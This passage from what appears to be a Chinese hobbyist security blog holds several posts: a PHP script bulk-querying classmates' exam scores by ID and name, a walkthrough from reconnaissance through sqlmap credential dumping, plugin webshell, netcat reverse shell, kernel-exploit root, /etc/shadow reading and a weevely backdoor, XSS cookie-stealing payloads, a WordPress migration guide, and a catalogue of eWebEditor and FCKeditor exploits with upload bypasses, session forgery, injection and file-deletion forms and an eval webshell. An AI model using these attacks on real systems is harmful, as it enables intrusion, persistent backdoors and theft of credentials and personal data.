$resp_str .= fgets($fp,512);
fclose($fp);
echo($resp_str);//返回值

}

代码比较简单,就是简单的拼接一下参数,然后post过去。

在学校下载所有学生的准考证号,导出到txt。开始一直读不出数据,用空格,tab分割数据,后面发现中间是以09分割.

09是什么字符?果断替换成20(空格)。

list.txt中是这样的

360031122105930 蔡钧泰
360031122107701 徐蔚然

查询的姓名只要前2个字,

比如我查:

360031122107701 徐蔚

然后就会返回:

6,159,177,46,100,482,江西财经大学,徐蔚然

我将结果保存在result。txt里面了。

 

最终代码:

 

<?php

$handle = fopen(‘list.txt’,’r’);
if($handle) {
while (!feof($handle)) {
$buffer = fgets($handle,1024);
$brarray = explode(‘ ‘,$buffer);

$ID=$brarray[0];
$NAME=substr($brarray[1],0,4);

getCet($ID,$NAME);
}
fclose($handle);
}
function getCet($ID,$NAME)
{

$srv_ip = ‘cet.99sushe.com’;//目标服务地址
$srv_port = 80;
$url = ‘/s’; //post的URL
//$post_str = “id=360032122111423&name=%D6%DC%D0%C7”;//要提交的内容.
$post_str = “id=”.$ID.”&name=”.$NAME;
$fp = ‘’;
$resp_str = ‘’;
$errno = 0;
$errstr = ‘’;
$timeout = 10;

//echo $url_str;
if ($srv_ip == ‘’ || $url == ‘’){
echo(‘ip or dest url empty<br>’);
}
//echo($srv_ip);
$fp = fsockopen($srv_ip,$srv_port,$errno,$errstr,$timeout);
if (!$fp){
echo(‘fp fail’);
}
$content_length = strlen($post_str);
$post_header = “POST $url HTTP/1.1\r\n”;
$post_header .= “Content-Type: application/x-www-form-urlencoded\r\n”;
$post_header .= “User-Agent: MSIE\r\n”;
$post_header .= “Host: “.$srv_ip.”\r\n”;
$post_header .= “Referer: http://cet.99sushe.com/\r\n“;
$post_header .= “Content-Length: “.$content_length.”\r\n”;
$post_header .= “Connection: close\r\n\r\n”;
$post_header .= $post_str.”\r\n\r\n”;

 

fwrite($fp,$post_header);
// while(!feof($fp)){
// $resp_str .= fgets($fp,512);
// }

for($i=0;$i<8;$i++){
$aa.= fgets($fp,512);}
$resp_str .= fgets($fp,512);
fclose($fp);
echo($resp_str);//返回值
file_put_contents(“result.txt”,$resp_str.”,”.$ID.”\r\n”,FILE_APPEND);

}
?>

代码不要喷了。我是菜鸟。

QQ20130302005502

3月10日,发现这个没有拉取全,就重新拉取一下,结果居然拉不下来。抓包看一下,原来他们添加了cookies,重新制作了一下,并且捏,给做成了 微信平台查询cet4,6级

下载地址:4,6级批量查分代码

把博客主题修改了一下

使用的是it客栈基于8090st制作的模仿ipc.me主题模板。

是不是感觉很绕,现在很清新的感觉,不过我还是不喜欢这种色调,看ipc的就感觉不错。

这个的色调不杂对头。

去掉了一些无用的信息,修改为自己网站;

游客头像修改为萌系的咯。

logo就不要追究了。有点丑

DLinuX

黑客是怎样入侵你的网站的

通过本文你将了解黑客常用的入手思路和技术手法,适合热爱网络信息安全的新手朋友了解学习。本文将从最开始的信息收集开始讲述黑客是如何一步步的攻破你的网站和服务器的.阅读本文你会学到以下内容:

1.渗透测试前的简单信息收集。

2.sqlmap的使用

3.nmap的使用

4.nc反弹提权

5.linux系统的权限提升

6.backtrack 5中渗透测试工具nikto和w3af的使用等.

假设黑客要入侵的你的网站域名为:hack-test.com

让我们用ping命令获取网站服务器的IP地址.

Web信息安全

现在我们获取了网站服务器的IP地址为:173.236.138.113

寻找同一服务器上的其它网站,我们使用sameip.org.

渗透测试

26 sites hosted on IP Address 173.236.138.113

ID

Domain

Site Link

1

hijackthisforum.com

hijackthisforum.com

2

sportforum.net

sportforum.net

3

freeonlinesudoku.net

freeonlinesudoku.net

4

cosplayhell.com

cosplayhell.com

5

videogamenews.org

videogamenews.org

6

gametour.com

gametour.com

7

qualitypetsitting.net

qualitypetsitting.net

8

brendanichols.com

brendanichols.com

9

8ez.com

8ez.com

10

hack-test.com

hack-test.com

11

kisax.com

kisax.com

12

paisans.com

paisans.com

13

mghz.com

mghz.com

14

debateful.com

debateful.com

15

jazzygoodtimes.com

jazzygoodtimes.com

16

fruny.com

fruny.com

17

vbum.com

vbum.com

18

wuckie.com

wuckie.com

19

force5inc.com

force5inc.com

20

virushero.com

virushero.com

21

twincitiesbusinesspeernetwork.com

twincitiesbusinesspeernetwork.com

22

jennieko.com

jennieko.com

23

davereedy.com

davereedy.com

24

joygarrido.com

joygarrido.com

25

prismapp.com

prismapp.com

26

utiligolf.com

utiligolf.com



173.236.138.113上有26个网站,很多黑客为了攻破你的网站可能会检查同服务器上的其它网站,但是本次是以研究为目标,我们将抛开服务器上的其它网站,只针对你的网站来进行入侵检测。

We’ll need more information about your site, such as:

我们需要关于你网站的以下信息:

1.DNS记录(A,NS,TXT,MX 和SOA)
2.网站服务器的类型(Apache,IIS,Tomcat)
3.域名的注册信息(哪个公司拥有这个域名)
4.你的名字,地址,EMAIL和电话
5.你的网站上所运行的脚本类型(PHP,ASP,ASP.NET,JSP,CFM)
6.服务器的操作系统类型(Unix,Linux,Windows,Solaris)
7.服务器对外开放的端口(80,443,21,等)

让我们开始找你网站的DNS记录,我们用who.is来完成这一目标.

入侵检测

我们发现你的DNS记录如下

web安全

让我们来确定web服务器的类型

渗透测试

发现你的W eb服务器是apache,接下来确定它的版本.

**HACK-TEST.COM SITE INFORMATION **

IP: [173.236.138.113](http://www.who.is/whois-ip/173.236.138.113/) Website Status: [active](http://www.hack-test.com/) Server Type: Apache Alexa Trend/Rank: ![](http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/03363089c.jpg) 1 Month: 3,213,968 3 Month: 2,161,753 Page Views per Visit: ![](http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/033630bXx.jpg) 1 Month: 2.0 3 Month: 3.7

接下来是时候寻找你网站域名的注册信息,你的电话、邮箱、地址等.

渗透测试

我们现在已经获取了你的网站域名的注册信息,包括你的重要信息等.我们可以通过backtrack 5中的whatweb来获取你的网站服务器操作系统类型和服务器的版本.

backtrack 5

backtrack 5

我们发现你的网站使用了著名的php整站程序wordpress,服务器的的系统类型为Fedora Linux,Web服务器版本Apache 2.2.15.继续查看网站服务器开放的端口,用渗透测试工具nmap:

1-Find services that run on server(查看服务器上运行的服务)

root@bt:~# nmap -sV hack-test.com
Starting Nmap 6.01 ( http://nmap.org ) at 2013-02-24 02:13 EST
Nmap scan report for hack-test.com (173.236.164.23)
Host is up (0.27s latency).
rDNS record for 173.236.164.23: apache2-bongo.carter-braxton.dreamhost.com
Not shown: 993 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD
22/tcp open ssh OpenSSH 5.5p1 Debian 6+squeeze2 (protocol 2.0)
25/tcp open smtp Postfix smtpd
80/tcp open http Apache httpd
587/tcp open smtp Postfix smtpd
5222/tcp open jabber Jabber instant messaging server
5269/tcp open jabber Jabber instant messaging server
Service Info: Host: carter-braxton.dreamhost.com; OS: Linux; CPE: cpe:/o:linux:kernel
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 70.35 seconds
2-Find server OS(查看操作系统版本)

root@bt:~# nmap -O hack-test.com

Starting Nmap 6.01 ( http://nmap.org ) at 2013-02-24 03:29 EST
Nmap scan report for hack-test.com (173.236.164.23)
Host is up (0.28s latency).
rDNS record for 173.236.164.23: apache2-bongo.carter-braxton.dreamhost.com
Not shown: 993 filtered ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
25/tcp open smtp
80/tcp open http
587/tcp open submission
5222/tcp open xmpp-client
5269/tcp open xmpp-server
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host

OS detection performed. Please report any incorrect results at http://nmap.org/submit/ .

没找到操作系统,奇怪了。和以前的教程不一样,上面ip也改了,同时子站也只剩一个了。

Nmap的操作系统检测的基础是有开放和关闭的端口,如果OS scan无法检测到至少一个开放或者关闭的端口,会返回以下错误:

Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port

加上 –osscan-guess 也没找到。linux是坑定的
现在我们已经收集了所有关于你网站的重要信息, 接下来开始扫描寻找漏洞,比如:

Sql injection – Blind sql injection – LFI – RFI – XSS – CSRF 等等.

我们将使用Nikto来收集漏洞信息:

root@bt:/pentest/web/nikto# perl nikto.pl -h hack-test.com

渗透测试工具backtrack 5
我们也会用到Backtrack 5 R1中的W3AF 工具:

root@bt:/pentest/web/w3af# ./w3af_gui

渗透测试工具w3af

我们输入要检测的网站地址,选择完整的安全审计选项.

渗透测试全过程

稍等一会,你将会看到扫描结果.

web入侵检测

发现你的网站存在sql注入漏洞、XSS漏洞、以及其它的漏洞.让我们来探讨SQL注入漏洞.

http://hack-test.com/Hackademic_RTB1/?cat=d%27z%220

我们通过工具发现这个URL存在SQL注入,我们通过Sqlmap来检测这个url.

Using sqlmap with –u url

sqlmap使用教程

过一会你会看到

sqlmap使用教程

输入N按回车键继续

sqlmap使用教程

我们发现你的网站存在mysql显错注入,mysql数据库版本是5.0. 我们通过加入参数”-dbs”来尝试采集数据库名.

sqlmap使用教程

sqlmap读取数据库名

发现三个数据库,接下来通过参数”-D wordpress -tables”来查看wordpress数据库的所有表名

sqlmap读取数据库中的表

sqlmap读取数据库中的表

通过参数“-T wp_users –columns ”来查看wp_users表中的字段.

sqlmap使用教程

sqlmap使用教程

接下来猜解字段user_login和user_pass的值.用参数”-C user_login,user_pass –dump”

我们会发现用户名和密码hashes值. 我们需要通过以下在线破解网站来破解密码hashes

http://www.onlinehashcrack.com/free-hash-reverse.php

hash在线破解

登陆wordpress的后台wp-admin

尝试上传php webshell到服务器,以方便运行一些linux命令.在插件页面寻找任何可以编辑的插件. 我们选择Textile这款插件,编辑插入我们的php webshell,点击更新文件,然后访问我们的php webshell.
上传漏洞获得webshell

上传漏洞获得webshell

Php webshell被解析了,我们可以控制你网站的文件,但是我们只希望获得网站服务器的root权限,来入侵服务器上其它的网站。

我们用NC来反弹一个shell,首先在我们的电脑上监听5555端口.

NC反弹

然后在Php webshell上反向连接我们的电脑,输入你的IP和端口5555.
NC反弹

点击连接我们会看到
NC反弹

 

接下来我们尝试执行一些命令:

id

uid=48(apache) gid=489(apache) groups=489(apache)
(用来显示用户的id和组)

pwd

/var/www/html/Hackademic_RTB1/wp-content/plugins
(显示服务器上当前的路径)

uname -a

Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 7 21:41:45 EST 2009 i686 i686 i386 GNU/Linux
(显示内核版本信息)

Linux基础命令

现在我们知道,服务器的内核版本是2.6.31.5-127.fc12.1686,我们在exploit-db.com中搜索此版本的相关漏洞.
在服务器上测试了很多exp之后,我们用以下的exp来提升权限.
http://www.exploit-db.com/exploits/15285

我们在nc shell上执行以下命令:
wget http://www.exploit-db.com/exploits/15285 -o roro.c
(下载exp到服务器并重命名为roro.c)
注:很多linux内核的exp都是C语言开发的,因此我们保存为.c扩展名.
exp roro.c代码如下:

#include <stdio.h>

#include <unistd.h>

#include <stdlib.h>

#include <fcntl.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <errno.h>

#include <string.h>

#include <sys/ptrace.h>

#include <sys/utsname.h>

#define RECVPORT 5555

#define SENDPORT 6666
int prep_sock(int port)
{
int s, ret;
struct sockaddr_in addr;
s = socket(PF_RDS, SOCK_SEQPACKET, 0);
if(s < 0)
{
printf(“[*] Could not open socket.n”);
exit(-1);
}
memset(&addr, 0, sizeof(addr));
通过以上代码我们发现该exp是C语言开发的,我们需要将他编译成elf格式的,命令如下:

gcc roro.c –o roro

接下来执行编译好的exp

./roro

 

exp编译
执行完成之后我们输入id命令

id

我们发现我们已经是root权限了

uid=0(root) gid=0(root)

Linux服务器提权
现在我们可以查看/etc/shadow文件
cat /etc/shadow
linux基础命令
查看/etc/passwd 文件

cat /etc/passwd
linux基础命令
我们可以使用”john the ripper”工具破解所有用户的密码.但是我们不会这样做,我们需要在这个服务器上留下后门以方便我们在任何时候访问它.

我们用weevely制作一个php小马上传到服务器上.

1.weevely使用选项
root@bt:/pentest/backdoors/web/weevely# ./main.py -

weevely使用方法

2.用weevely创建一个密码为koko的php后门

root@bt:/pentest/backdoors/web/weevely# ./main.py -g -o hax.php -p koko

weevely使用方法

接下来上传到服务器之后来使用它
root@bt:/pentest/backdoors/web/weevely# ./main.py -t -u http://hack-test.com/Hackademic_RTB1/wp-content/plugins/hax.php -p koko

weevely使用方法
测试我们的hax.php后门

weevely使用方法

二哥XSS教学宝典学习

第一章

http://xsst.sinaapp.com/example/1-1.php

简单,自己也搞定

http://xsst.sinapp.com/example/1-1.php?page=<img src=”http://www.baidu.com/img/baidu_sylogo1.gif”>

第二章

http://xsst.sinapp.com/example/1-2.php?page=2;alert(document.cookie))

构造闭合,参数多了双引号,同样的修改一下,进行闭合。

http://xsst.sinapp.com/example/1-2.php?page=”;alert(document.cookie);//;//)

 

课后练习题:

第1个,由于过滤了双引号,所以通过编码绕过。

http://xsst.sinaapp.com/example/test1-2.php?page=1%27%2beval%28alert%28document.cookie%29%29%29;//

第2个的查看一下,我们可以构造如下闭合,

http://xsst.sinaapp.com/example/test1-2-2.php?page=1’);alert(document.cookie);//QQ20130216080657

第3个

http://xsst.sinaapp.com/example/test1-2-3.php?page=1’;alalertert(document.cookie);’

第三章

html 静态网页传参了,以前都以为是伪静态,我去哦。js的获取地址栏参数以前自己还用过,完全没想到。菜鸟一个啊。

http://xsst.sinaapp.com/example/1-3.htm?url=./iframe.htm

练习题:

使用document.write造成的XSS (会被IE拦截,Chrome下参数中<,>被自动编码导致无效)

前面没注意 ie,chrome均不成功,别说这些了,火狐safari,opera均没弹窗

http://xsst.sinaapp.com/example/1-3-2.php?bug=1&url=’><img src=’1’ onerror=’alert(document.cookie)’></img>

 

使用eval造成的XSS

http://xsst.sinaapp.com/example/1-3-2.php?bug=2&url={age:0,name:(function(){alert(document.cookie)})()}{alert(document.cookie)})()})

 

使用innerHTML造成的XSS (会被IE拦截,Chrome下参数中<,>被自动编码导致无效)

http://xsst.sinaapp.com/example/1-3-2.php?bug=3&url=’><img src=’1’ onerror=’alert(document.cookie)’></img>

 

使用location/location.href/location.replace/iframe.src造成的XSS

http://xsst.sinaapp.com/example/1-3-2.php?bug=4&url=javascript:alert(document.cookie);;)

 

使用setTimeout/setInterval造成的XSS

http://xsst.sinaapp.com/example/1-3-2.php?bug=5&url=’);alert(document.cookie);eval(‘

 

wooyun上dom xss

http://www.wooyun.org/tags/dom%E7%B1%BB%E5%9E%8Bxss

最后可以看这里的,比较新哦html5安全相关。

http://html5sec.org/

 

迁移wordpress/网站搬家同时更改URL更改域名

无缘无故白屏了,也不知道怎么解决,然后就只能重新安装一下。数据库和附件也给整理了一下,比较麻烦的说。这里是网上找到的一篇文章,mark吧。

步骤1:备份数据库



登陆到phpMyAdmin,到mysql后台,选择wordpress数据所在的数据库,点击“导出”或是英文的”Export”把数据库数据备份到你本地。建议选择导出格式为SQL。如果数据量较大,建议在导出页面下方选择.zip或.gzip压缩格式,这样文件会小一些。

步骤2:备份wordpress网站所有文件
用FTP或你的空间商提供的方式吧所有wordpress的文件备份到你本地。建议压缩后再FTP到本地,这样速度快,也不会出现文件传输过程中发生的某些传输错误造成文件不完整。

步骤3:恢复数据库到你的新空间
登陆到你的新空间的phpMyAdmin,到mysql后台,点击“导入”或是英文的“Import”把数据库恢复到你的新空间,即导入步骤1备份的文件。

步骤4:恢复网站文件到你的新空间
用FTP或你的空间商提供的方式把所有的网站文件上传的你的新空间。即导入步骤2备份的文件。

步骤5:更改配置文件wp-config.php
wp-config.php位于根目录,你至少需要修改如下项目:(这些项目买空间是,空间商会给你)

WordPress 数据库的名称 MySQL 数据库用户名
MySQL 数据库密码 MySQL 主机 — 这项通常是 ‘localhost’
如果白屏的话,删除config这个文件,然后再来安装一遍,让它自动生成。主题插件也移除掉。
步骤6:注意检查文件.htaccess
(如果你的网站路径与迁移前的一模一样,这一步可以省略)这一步一定要注意,RewriteBase及RewriteRule这两项一定要设置正确。我的网站根路径于原先的不同,这里又没设置正确才发生500错误。

步骤7:后台数据库修改siteurl及home项
(如果你的网站路径及URL与迁移前的一模一样,这一步可以省略),登陆到你的新空间的phpMyAdmin,在后台数据库里修改你的siteurl,找到表wp_options,作如下修改:

找到option_id字段值为1,option_name字段值为siteurl的记录,修改option_value字段值,比如原先你的值为http://www.wnshare.com/blog,当前已经变为http://www.wnshare.com,把这个值改为http://www.wnshare.com。 找到option_id字段值为37,option_name字段值为home的记录,修改option_value字段值,跟上面的是一样的,比如原先你的值为http://www.wnshare.com/blog,当前已经变为http://www.wnshare.com,把这个值改为http://www.wnshare.com。
步骤8:到你的域名注册商网站修改A记录
新的IP地址在买空间时,空间商会告诉你,别忘了把新的IP地址更新上去,国内的通常1到2小时就会生效。

### 步骤8:修改数据库

数据库中可能会有一些文件地址,或者其他什么的需要更改,这时就要用到这个了。

这个将文中所有的图片地址改掉,当然也可以改其他的。

UPDATE wp_posts SET post_content = REPLACE( post_content, ‘http://7xnueu.com1.z0.glb.clouddn.com/2012/01/‘, ‘http://127.0.0.1/‘ );

常见的一些编辑器漏洞

常见的一些编辑器:ewebeditor ewebeditornet fckeditoreditor southidceditor SouthidcEditor bigcneditor

其实如果大家多关注编辑器的话,会有惊人的发现,尤其是jsp,php版的,一个webshell基本上就是一台服务器啊~~~

一:首先说说最近不断爆洞的ewebeditor

(一)ASP版
1:默认管理后台:

http://www.test.com/ewebeditor/admin_login.asp

后台如果能进入:

可点击样式管理:

standard 拷贝一份(直接修改改不了)

在拷贝的一份里加入图片类型( asa aaspsp ) 然后点预览

在编辑器里点设计 然后直接上传asa大马.

上传后 在代码里可以看到马的位置!

(原理:因为在iis里 网站的属性里 应用程序配置一项 asa扩展名还是用asp.dll来解析的,asp也是 还有 cer cdx )

在cer cdx asa的被删掉 那么马儿就找不到 映射不过去.

可以在拷贝过后的样式 图片类型里加入 aaspsp 然后在上传 直接就可以上传asp文件
2:下载默认数据库

www.test.com/ewebeditor/db/ewebeditor.mdb

然后分析数据库

webeditor_system(1) 就可以看到用户名和密码 如果破解不出来

可以在webeditor_style(14 样式表里

主要看允许上传文件的扩展名(s-fileext s_ingeext)

看到一个小黑客曾经搞过 多了asa aaspsp

可以用他来利用!(后台找不到的情况下也可以用此方法)

可以构造语句:

比如 ID=46 s-name =standard1

构造 代码: ewebeditor.asp?id=content&style=standard

ID和和样式名改过后

ewebeditor.asp?id=46&style=standard1
然后就是进入编辑器 上传asa 或者asp的 得到webshell

前面的1跟2说的是asp版的ewebeditor,其他如php,jsp跟asp的差不多,这里不多说.

针对这种方法可能出现的问题:

(1).使用默认用户名和密码无法登录。
请试试直接下载db目录下的ewebeditor.mdb文件,用户名和密码在eWebEditor_System表中,经过了md5加密,如果无法下载或者无法

**,那就当自己的运气不好了。
(2).加了asa类型后发现还是无法上传。
应该是站长懂点代码,自己修改了Upload.asp文件,但是没有关系,按照常人的思维习惯,往往会直接在sAllowExt = Replace

(UCase(sAllowExt), “ASP”, “”)一句上修改,我就看见过一个站长是这样修改的:
sAllowExt = Replace(Replace(Replace(Replace(Replace(UCase(sAllowExt), “ASP”, “”), “CER”, “”), “ASA”, “”), “CDX”, “”),

“HTR”, “”)
猛一看什么都过滤了,但是我们只要在上传类型中增加“aaspsp”,就可以直接上传asp文件了。呵呵,是不是天才的想法?“aaspsp

”过滤了“asp”字符后,反而变成了“asp”!顺便告诉大家一个秘密,其实动网论坛7.0 sp2中也可以利用类似的方法绕过对扩展名

的过滤。
(3).上传了asp文件后,却发现该目录没有运行脚本的权限。
呵呵,真是好笨啊,上传类型可以改,上传路径不是也可以修改的吗?

(4).已经使用了第2点中的方法,但是asp类型还是无法上传。
看来站长肯定是一个写asp的高手,但是我们还有最后一招来对付他:看到“远程类型”了吗?eWebEditor能够设定自动保存远程文件

的类型,我们可以加入asp类型。但是如何才能让远程访问的asp文件能够以源码形式保存呢?方法是很多的,最简单的方法是将IIS中

的“应用文件映射”中的“asp”删除。

漏洞原理
漏洞的利用原理很简单,请看Upload.asp文件:
任何情况下都不允许上传asp脚本文件
sAllowExt = Replace(UCase(sAllowExt), “ASP”, “”)
因为eWebEditor仅仅过滤了ASP文件。记得我第一次使用eWebEditor时就在纳闷:既然作者已经知道asp文件需要过滤,为什么不同时

过滤asa、cer等文件呢?也许这就是对免费用户不负责任的表现吧!

3.eWebEditor session欺骗漏洞

eWebEditor在线编辑器

漏洞文件:Admin_Private.asp

漏洞语句:<%

If Session(“eWebEditor_User”) = “” Then

Response.Redirect “admin_login.asp”

Response.End

End If

只判断了session,没有判断cookies和路径的验证问题。

漏洞利用:

新建一个h4x0r.asp内容如下:

<%Session(“eWebEditor_User”) = “11111111”%>

访问h4x0r.asp,再访问后台任何文件,for example:Admin_Default.asp

漏洞影响:虚拟主机的克星.

4.ewebeditor asp版 2.1.6 上传漏洞

<H1>ewebeditor asp版 2.1.6 上传漏洞利用程序</H1><br>

<form action=”http://127.1/e/upload.asp?action=save&type=IMAGE&style=luoye‘ union select

S_ID,S_Name,S_Dir,S_CSS,S_UploadDir,S_Width,S_Height,S_Memo,S_IsSys,S_FileExt,S_FlashExt, [S_ImageExt]%

2b’|cer’,S_MediaExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,S_StateFlag,S_DetectFromWord,S_InitMode,S_BaseUrl

from ewebeditor_style where s_name=’standard’and’a’=’a” method=post name=myform enctype=”multipart/form-data”>

<input type=file name=uploadfile size=100><br><br>

<input type=submit value=Fuck>

</form>

http://127.1/e/upload.asp

上传时修改此处上传地址。。。

如果你是上传的asp文件则成功后的地址为:

http://127.1/e/uploadfile/xxxxxxxxxx.asp

5.ewebeditor遍历路径漏洞
Ewebeditor为非常常见的网站核心程序,
默认数据库为 /db/ewebeditor.mdb 默认路径admin_login.asp 默认管理员admin密码admin(admin888)

ewebedit进入后台添加样式.得到webshell很容易. 有时候很不幸.管理员把数据库改为只读权限.

但是ewebeditor后台有个小小的缺陷. 可以历遍整个网站目录. 当然.数据库为只读的时候一样可以利用.

上传文件管理—选择样式目录(随便选一个目录)
得到:
ewebeditor/admin_uploadfile.asp?id=14
在id=14后面添加&dir=..
再加 &dir=../..
&dir=../../../.. 看到整个网站文件了

6.eweb2.7版本以下又一个注入

首先看代码(ewebeditor.asp):
ub InitPara()
‘ 取全屏标志
sFullScreen = Trim(Request.QueryString(“fullscreen”))
‘ 取对应的内容ID
sContentID = Trim(Request.QueryString(“id”))
If sContentID = “” Then ShowErr “请传入调用参数ID,即隐藏的内容表单项ID!”

‘ 取样式初始值
sStyleName = Trim(Request.QueryString(“style”))
If sStyleName = “” Then sStyleName = “standard”

sSql = “select * from ewebeditor_style where s_name=’” & sStyleName & “‘“
oRs.Open sSql, oConn, 0, 1
If Not oRs.Eof Then
sStyleID = oRs(“S_ID”)
sStyleName = oRs(“S_Name”)
sStyleDir = oRs(“S_Dir”)
sStyleCSS = oRs(“S_CSS”)
sStyleUploadDir = oRs(“S_UploadDir”)
nStateFlag = oRs(“S_StateFlag”)
sDetectFromWord = oRs(“S_DetectFromWord”)
sInitMode = oRs(“S_InitMode”)
sBaseUrl = oRs(“S_BaseUrl”)

sStyleUploadDir = Replace(sStyleUploadDir, “\”, “/“)
If Right(sStyleUploadDir, 1) <> “/“ Then
sStyleUploadDir = sStyleUploadDir & “/“
End If
Else
ShowErr “无效的样式Style参数传入,如果要使用默认值,请留空!”
End If
oRs.Close
关键的是这两句:
sStyleName = Trim(Request.QueryString(“style”))
If sStyleName = “” Then sStyleName = “standard”

sSql = “select * from ewebeditor_style where s_name=’” & sStyleName & “‘“
很明显的是style参数没有足够的过滤,如果我们自己给这个地方赋值的话,程序会报错的,

但接下来的一句还是让我们有可乘之机,If sStyleName = “” Then sStyleName = “standard”保留默认的还是会带入语句执行,加个

单引号就报错了,如图2.[local]1[/local]
我试了好几款工具,发现只有pangolin可以注入,啊D只能发现注入不能继续猜解。
eweb默认的管理员表是:ewebeditor_system
这个表下的默认两个列名为:sys_UserName和sys_userpass
需要手动添加,

7.ewebeditor2.8最终版删除任意文件漏洞

这个漏洞可以很鸡肋,也可以很致命,关键看你怎么利用!

此漏洞存在于ExampleNewsSystem目录下的delete.asp文件中,这是ewebeditor的测试页面,无须登陆可以直接进入,看这些代码:

‘ 把带”|”的字符串转为数组
Dim aSavePathFileName
aSavePathFileName = Split(sSavePathFileName, “|”)
‘ 删除新闻相关的文件,从文件夹中
Dim i
For i = 0 To UBound(aSavePathFileName)
‘ 按路径文件名删除文件
Call DoDelFile(aSavePathFileName(i))
Next

而aSavePathFileName是前面从数据库取出来的:

sSavePathFileName = oRs(“D_SavePathFileName”)

看看D_SavePathFileName是怎么添加到数据库里的,在addsave.asp(modifysave.asp)里:

sSavePathFileName = GetSafeStr(Request.Form(“d_savepathfilename”))

oRs(“D_SavePathFileName”) = sSavePathFileName

居然过滤了,是GetSafeStr函数,再看看这个函数,在Startup.asp里:

Function GetSafeStr(str)
GetSafeStr = Replace(Replace(Replace(Trim(str), “‘“, “”), Chr(34), “”), “;”, “”)
End Function

无语,这不是过滤字符型注入的函数么?放这里什么用也没有啊!既然路径没有过滤,那就可以直接定义了,构造一个提交页面,其

中d_savepathfilename自己任意赋值(要删除多个文件,用|隔开即可)。试试../../eWebEditor.asp,提交后删除该新闻,于是主目录

下的eWebEditor.asp不见了!

下面给出利用的htm:
<HTML><HEAD><TITLE>eWebEditor删除文件 by:oldjun(http://www.oldjun.com)</TITLE>
<style>body,p,td,input {font-size:9pt}</style>
</HEAD><BODY><a href=’list.asp’>新闻列表</a> | <a href=’add.asp’>增加新闻</a>

<b>增加新闻</b>

<form action=”http://127.0.0.1/editor/Example/NewsSystem/addsave.asp
method=”post” name=”myform”>
<input type=hidden name=d_nofilename>
<input type=hidden name=d_savefilename>
<table cellspacing=3 align=center>
<tr><td>要删的文件(相对路径就可以了):</td>
<td><input type=”text” name=”d_savepathfilename” value=”” size=”90”></td>
</tr>
<tr><td>新闻标题(随便填):</td>
<td><input type=”text” name=”d_title” value=”” size=”90”></td>
</tr>
<tr><td>标题图片:</td>
<td><select name=”d_picture” size=1><option value=’’>无</option></select>
当编辑区有插入图片时,将自动填充此下拉框</td>
</tr>
<tr><td>新闻内容(随便填):</td>
<td><textarea name=”d_content”></textarea></td>
</tr>
</table>

<input type=submit name=btnSubmit value=” 提 交 “>
<input type=reset name=btnReset value=” 重 填 “>
</form>
</BODY></HTML>

(二)ASPX版:

受影响文件:eWebEditorNet/upload.aspx

利用方法:添好本地的cer的Shell文件。在浏揽器输入javascript:lbtnUpload.click();就能得到shell

嘿嘿….绕过了限制……成功的上传了ASPX文件….

文件默认的上传后保存的地址是eWebEditorNet/UploadFile/现在来看看是否上传成功…..

(三)PHP版

关于eWebEditor 漏洞php版本的和asp的一样。有目录浏览。和编辑扩展名。重点在于虽然支持了php格式但上传还是上传不了。不过

利用织梦的gif89a漏洞倒可以实现php一句话上传,然后再上传webshell。

备注:织梦的gif89a漏洞,准确来说应该是DEDECMS中所用的php版的FCKeditor存在上传漏洞,gif89a文件头欺骗。DEDECMS中在上传

拖上没有对picSubmit进行任何处理。但是却不能直接上传php马。因为会识别。使用修改过的php小马。

gif89a

<?php

phpinfo();

?>

RFI

gif89a

<?php

eval($_POST[c]);

?>

利用gif89a进行了欺骗。现在上传就可以成功了.然后有php一句话客户端连接.

(四)JSP版

上传漏洞

影响版本:漏洞存在于ewebeditor jsp版 1.4以下版本,漏洞有两个版本。

原理:第一个是使用savefile.jsp来进行文件上传操作的,从代码中可以看出,程序并没做任何上传过滤,这样我们就可以直接上传

一个JSPShell了。另一个版本可能是被人修改过,把代码转成了servlet,不能看到代码,但是利用方法却大同小异。

利用方法:我们先找一个1.4版本以下的ewebeditor JSP上传页面,选择好一个JSPShell。这个ewebeditor是没有提交按钮的,所以这

里涉及到一个小技巧,就是在上传的对话框中敲下回车,大约过半分钟,就可以查看网页的源文件来寻找我们的Webshell了。

这个JSP和PHP一样,如果系统权限没有特意去设置的话,默认我们得到webshell是system的权限,那么…^_^

二:ewebeditornet 漏洞利用

默认上传地址:

www.test.com/ewebeditornet/upload.aspx
可以直接上传一个cer的木马

在无法上传的情况下

可以地址栏构造以下代码: javascript:lbtnUpload.click();

然后查看源代码:

找到uploadsave 找到地址

默认传到uploadfile这个文件夹里

(漏洞修补: 可以在iss里直接把upload文件夹的执行权限选择无. )

三:fckeditor 漏洞利用

http://www.test.com/fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?

Command=FileUpload&Type=Image&CurrentFolder=/
就把文件名字段改成NEWfile 选择文件名可定义
上传过后在/userfiles/image/找文件

上传任意文件:

fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/asp/connector.asp

根据网站所使用不同语言自己改这个地址.

FCKeditor的JSP版漏洞

http://www.xxx.com/fckeditor/editor/filemanager/browser/default/connectors/jsp/connector?

Command=FileUpload&Type=Image&CurrentFolder=%2F

http://www.xxx.com/fckeditor/editor/filemanager/browser/default/connectors/jsp/connector?

Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
上传shell的地址:
http://www.xxx.com/fckeditor/editor/filemanager/browser/default/browser.html?

Type=Image&Connector=connectors/jsp/connector

四:southidceditor

1.

http://www.xhkjit.com/admin/southidceditor/datas/southidceditor.mdb

http://www.xhkjit.com/admin/southidceditor/popup.asp

http://www.xhkjit.com/admin/southidceditor/admin/admin_login.asp

2.southidceditor存在一个可以抓包上传的漏洞

Google:inurl:(admin/SouthidcEditor/PopUp.asp)

nc抓包自己玩玩吧.
五:bigcneditor(这个我没有找到具体的漏洞,网上的文章也都比较不负责任,谁知道的请告诉我下,谢谢)

这个页不多说了

